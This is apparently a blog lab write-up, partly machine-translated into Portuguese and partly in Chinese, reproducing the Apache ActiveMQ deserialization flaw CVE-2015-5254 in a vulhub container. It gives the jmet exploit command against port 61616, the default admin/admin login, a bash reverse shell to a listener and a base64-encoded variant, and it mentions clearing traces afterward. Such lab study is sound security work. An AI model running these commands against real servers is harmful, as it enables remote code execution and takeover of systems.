[vulhub vulnerabilidade recorrência] CVE-2015-5254 Vulnerabilidade de desserialização do ActiveMQ

1. Detalhes da vulnerabilidade

Apache ActiveMQ é um conjunto de middleware de mensagens de código aberto desenvolvido pela Apache Software Foundation nos Estados Unidos. Ele suporta serviços de mensagens Java, clusters, Spring Framework, etc. A configuração do Apache ActiveMQ requer um ambiente jdk com antecedência.

Baseado em MQTT, o modo de assinatura e distribuição de mensagens. ActiveMQ é equivalente a um console de nuvem, onde você pode ver as filas de publicação e recebimento de mensagens.

Visualize a fila após o envio de uma mensagem:

Visualize a fila após receber uma mensagem:

Afeta versões Apache ActiveMQ < 5.13.0

A vulnerabilidade decorre do fato de que o programa não restringe as classes que podem ser serializadas no proxy. Um invasor remoto pode explorar esta vulnerabilidade para executar código arbitrário com um objeto ObjectMessage Java Message Service (JMS) serializado especialmente criado.

O processo de exploit de desserialização é o seguinte:

  1. Constrói um objeto serializado de comandos executáveis

  1. Como uma mensagem, enviada para a porta de destino 61616

  1. Acesse a interface de gerenciamento da web e leia mensagens para acionar vulnerabilidades

2. Processo de recorrência

  1. ambiente de construção vulhub

Entre na pasta correspondente para iniciar o ambiente

docker-compose up -d

Confira as informações do ambiente

docker-compose ps
A configuração padrão do activeMQ iniciará duas portas 8161 e 61616, das quais 8161 é a porta do segundo plano de gerenciamento que acompanha o mq e 61616 é a porta padrão do serviço mq. Quando visitarmos, visite a porta 8161.

Você também pode usar o nmap para verificar a porta do IP de destino

acessar a porta

  1. Senha de conta padrão admin/login de administrador

Você pode ver informações sobre a versão

  1. Use jmet para construir objetos serializados executáveis

(Princípio: Use o ysoserial integrado para gerar e enviar o payload)

#Baixe o pacote jar do jmet
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

执行命令(在jmet-0.1.0-all.jar的保存目录下)

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1(你的目标机的ip) 61616

这边报错了,在该目录下创建文件夹

mkdir external

再执行一次上面的命令

目的是在目标服务器中/tmp目录创建一个文件success

可以看到Active MQ已经收到了消息队列

点击ID触发命令执行(因为我们之前已经用admin/admin登录了,有管理员权限,如果没有管理员权限的话,我们只能等待管理员点击消息队列的ID来触发命令执行漏洞

  1. 进入容器查看漏洞利用结果

docker ps
docker exec -it bae4bc8546b7 /bin/bash
cd /root/
cd /tmp
ls -l

可以看到success文件成功创建,也就是我们的远程命令已经被执行了

  1. 反弹shell的利用

同理讲上面的远程命令那部分替换为反弹shell的命令即可

开启监听,端口为19999

127.0.0.1不能反弹shell,所以下面的IP换了下

#bash反弹命令
bash -i >& /dev/tcp/192.168.239.128/19999 0>&1

需要利用base64进行编码绕过

执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616

找到相应ID消息队列,触发命令执行

监听成功

三、总结

既然可以远程命令执行,那可利用的点岂不是茫茫多.

顺便在反弹shell之后学习了一下如何清除痕迹

推荐大佬的文章,里面写的很详细

https://blog.csdn.net/weixin_43847838/article/details/129058192?spm=1001.2014.3001.5501

Acho que você gosta

Origin blog.csdn.net/m0_51683653/article/details/129230144
Recomendado
Clasificación